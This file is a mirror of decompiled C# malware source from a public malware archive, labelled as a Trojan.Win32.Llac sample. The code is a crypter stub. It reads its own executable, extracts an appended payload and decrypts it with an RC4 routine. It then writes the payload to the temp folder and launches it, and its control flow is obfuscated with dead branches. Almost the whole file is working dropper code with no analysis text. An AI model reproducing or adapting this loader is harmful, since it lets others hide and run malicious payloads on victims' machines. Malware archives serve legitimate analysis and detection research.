mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
f2ac1ece55
add
344 lines
8.1 KiB
C#
344 lines
8.1 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: Stub, Version=10.1.0.54, Culture=neutral, PublicKeyToken=null
|
||
// MVID: B6CAF90E-24AA-429E-AF0C-6337F759D114
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.ahnf-1467840597eb1f4ba0b638f6a268d113b70fcfcdf65f9ac2457fdfea55b1e336.exe
|
||
|
||
using \u0001;
|
||
using \u0005;
|
||
using Microsoft.VisualBasic;
|
||
using Microsoft.VisualBasic.CompilerServices;
|
||
using System;
|
||
using System.ComponentModel;
|
||
using System.Diagnostics;
|
||
using System.Drawing;
|
||
using System.IO;
|
||
using System.Runtime.CompilerServices;
|
||
using System.Runtime.InteropServices;
|
||
using System.Text;
|
||
using System.Threading;
|
||
using System.Windows.Forms;
|
||
|
||
namespace \u0005
|
||
{
|
||
internal class \u0003 : Form
|
||
{
|
||
[NonSerialized]
|
||
internal static \u0001.\u0001 \u0001;
|
||
private IContainer \u0001;
|
||
|
||
static \u0003() => \u0002.\u0002(typeof (\u0003));
|
||
|
||
public \u0003()
|
||
{
|
||
this.Load += new EventHandler(this.\u0002);
|
||
this.\u0002();
|
||
}
|
||
|
||
[DebuggerNonUserCode]
|
||
protected override void Dispose([In] bool obj0)
|
||
{
|
||
try
|
||
{
|
||
if (!obj0 || this.\u0001 == null)
|
||
return;
|
||
this.\u0001.Dispose();
|
||
}
|
||
finally
|
||
{
|
||
base.Dispose(obj0);
|
||
}
|
||
}
|
||
|
||
private void \u0002()
|
||
{
|
||
this.SuspendLayout();
|
||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||
do
|
||
{
|
||
if (true)
|
||
goto label_4;
|
||
label_2:
|
||
continue;
|
||
label_4:
|
||
this.AutoScaleMode = AutoScaleMode.Font;
|
||
this.ClientSize = new Size(284, 262);
|
||
this.Name = \u0003.\u0001(299);
|
||
this.Text = \u0003.\u0001(299);
|
||
goto label_2;
|
||
}
|
||
while (false);
|
||
this.ResumeLayout(false);
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
|
||
private void \u0002([In] object obj0, [In] EventArgs obj1)
|
||
{
|
||
label_0:
|
||
int num1;
|
||
int num2;
|
||
try
|
||
{
|
||
ProjectData.ClearProjectError();
|
||
num2 = 1;
|
||
label_1:
|
||
int num3;
|
||
if (true)
|
||
num3 = 2;
|
||
string tempPath = Path.GetTempPath();
|
||
label_2:
|
||
if (true)
|
||
{
|
||
num3 = 3;
|
||
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
||
}
|
||
else
|
||
goto label_22;
|
||
label_4:
|
||
num3 = 4;
|
||
string Expression;
|
||
int num4;
|
||
int num5;
|
||
if (true)
|
||
{
|
||
int FileNumber = 1;
|
||
if (FileNumber != 0)
|
||
{
|
||
if (true)
|
||
{
|
||
Expression = Strings.Space(checked ((int) FileSystem.LOF(FileNumber)));
|
||
}
|
||
else
|
||
{
|
||
num4 = FileNumber;
|
||
goto label_23;
|
||
}
|
||
}
|
||
else
|
||
{
|
||
num5 = FileNumber;
|
||
goto label_17;
|
||
}
|
||
}
|
||
else
|
||
goto label_11;
|
||
label_8:
|
||
num3 = 5;
|
||
FileSystem.FileGet(1, ref Expression);
|
||
label_9:
|
||
num3 = 6;
|
||
int num6 = 1;
|
||
int num7;
|
||
int length;
|
||
if (num6 != 0)
|
||
{
|
||
length = num6;
|
||
}
|
||
else
|
||
{
|
||
num7 = num6;
|
||
goto label_12;
|
||
}
|
||
label_10:
|
||
int[] numArray = new int[length];
|
||
numArray[0] = 1;
|
||
FileSystem.FileClose(numArray);
|
||
label_11:
|
||
num7 = 7;
|
||
label_12:
|
||
num3 = num7;
|
||
string[] strArray = Strings.Split(Expression, \u0003.\u0001(308));
|
||
label_13:
|
||
num3 = 8;
|
||
string str = \u0003.\u0002(strArray[1], \u0003.\u0001(349));
|
||
label_14:
|
||
length = 9;
|
||
if (length != 0)
|
||
{
|
||
num3 = length;
|
||
FileSystem.FileOpen(5, tempPath + \u0003.\u0001(370), OpenMode.Binary, OpenAccess.ReadWrite);
|
||
}
|
||
else
|
||
goto label_10;
|
||
label_16:
|
||
num5 = 10;
|
||
label_17:
|
||
num3 = num5;
|
||
FileSystem.FilePut(5, str, -1L, false);
|
||
label_18:
|
||
if (true)
|
||
{
|
||
num3 = 11;
|
||
FileSystem.FileClose(5);
|
||
}
|
||
else
|
||
goto label_21;
|
||
label_20:
|
||
num3 = 12;
|
||
label_21:
|
||
Process.Start(tempPath + \u0003.\u0001(370));
|
||
label_22:
|
||
num4 = 13;
|
||
label_23:
|
||
num3 = num4;
|
||
this.Close();
|
||
ProjectData.EndApp();
|
||
goto label_32;
|
||
label_25:
|
||
num1 = num3;
|
||
switch (num2)
|
||
{
|
||
case 1:
|
||
int num8 = num1 + 1;
|
||
num1 = 0;
|
||
switch (num8)
|
||
{
|
||
case 1:
|
||
goto label_0;
|
||
case 2:
|
||
goto label_1;
|
||
case 3:
|
||
goto label_2;
|
||
case 4:
|
||
goto label_4;
|
||
case 5:
|
||
goto label_8;
|
||
case 6:
|
||
goto label_9;
|
||
case 7:
|
||
goto label_11;
|
||
case 8:
|
||
goto label_13;
|
||
case 9:
|
||
goto label_14;
|
||
case 10:
|
||
goto label_16;
|
||
case 11:
|
||
goto label_18;
|
||
case 12:
|
||
goto label_20;
|
||
case 13:
|
||
goto label_22;
|
||
case 14:
|
||
goto label_32;
|
||
}
|
||
break;
|
||
}
|
||
}
|
||
catch (Exception ex) when (ex is Exception & num2 != 0 & num1 == 0)
|
||
{
|
||
ProjectData.SetProjectError(ex);
|
||
goto label_25;
|
||
}
|
||
throw ProjectData.CreateProjectError(-2146828237);
|
||
label_32:
|
||
if (num1 == 0)
|
||
return;
|
||
ProjectData.ClearProjectError();
|
||
}
|
||
|
||
public static string \u0002([In] string obj0, [In] string obj1)
|
||
{
|
||
int index1 = 0;
|
||
label_1:
|
||
int index2 = 0;
|
||
StringBuilder stringBuilder = new StringBuilder();
|
||
string empty = string.Empty;
|
||
int[] numArray1 = new int[257];
|
||
if (true)
|
||
goto label_25;
|
||
label_2:
|
||
int[] numArray2 = new int[257];
|
||
int length = obj1.Length;
|
||
int location1 = 0;
|
||
int[] numArray3;
|
||
while (location1 <= (int) byte.MaxValue)
|
||
{
|
||
char String = obj1.Substring(location1 % length, 1).ToCharArray()[0];
|
||
numArray2[location1] = Strings.Asc(String);
|
||
numArray3[location1] = location1;
|
||
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
|
||
}
|
||
int index3 = 0;
|
||
int location2 = 0;
|
||
int num1;
|
||
int num2;
|
||
while (location2 <= (int) byte.MaxValue)
|
||
{
|
||
num1 = checked (index3 + numArray3[location2] + numArray2[location2]);
|
||
num2 = 256;
|
||
if (num2 != 0)
|
||
{
|
||
index3 = num1 % num2;
|
||
int num3 = numArray3[location2];
|
||
numArray3[location2] = numArray3[index3];
|
||
do
|
||
{
|
||
numArray3[index3] = num3;
|
||
}
|
||
while (false);
|
||
if (true)
|
||
Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1));
|
||
else
|
||
goto label_17;
|
||
}
|
||
else
|
||
goto label_18;
|
||
}
|
||
int num4 = 1;
|
||
int num5;
|
||
if (num4 != 0)
|
||
{
|
||
location1 = num4;
|
||
goto label_21;
|
||
}
|
||
else
|
||
num5 = num4;
|
||
label_15:
|
||
int num6;
|
||
if (num5 != 0)
|
||
{
|
||
int num7 = numArray3[index1];
|
||
numArray3[index1] = numArray3[index2];
|
||
numArray3[index2] = num7;
|
||
num6 = numArray3[checked (numArray3[index1] + numArray3[index2]) % 256];
|
||
}
|
||
else
|
||
goto label_1;
|
||
label_17:
|
||
int num8 = Strings.Asc(obj0.Substring(checked (location1 - 1), 1).ToCharArray()[0]);
|
||
num2 = num6;
|
||
num1 = num8;
|
||
label_18:
|
||
int CharCode = num1 ^ num2;
|
||
label_19:
|
||
stringBuilder.Append(Strings.Chr(CharCode));
|
||
label_20:
|
||
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
|
||
label_21:
|
||
if (location1 <= obj0.Length)
|
||
{
|
||
index1 = checked (index1 + 1) % 256;
|
||
index2 = checked (index2 + numArray3[index1]) % 256;
|
||
num5 = 5;
|
||
goto label_15;
|
||
}
|
||
else if (true)
|
||
{
|
||
if (true)
|
||
{
|
||
string str = stringBuilder.ToString();
|
||
stringBuilder.Length = 0;
|
||
return str;
|
||
}
|
||
goto label_19;
|
||
}
|
||
else
|
||
goto label_20;
|
||
label_25:
|
||
numArray3 = numArray1;
|
||
goto label_2;
|
||
}
|
||
}
|
||
}
|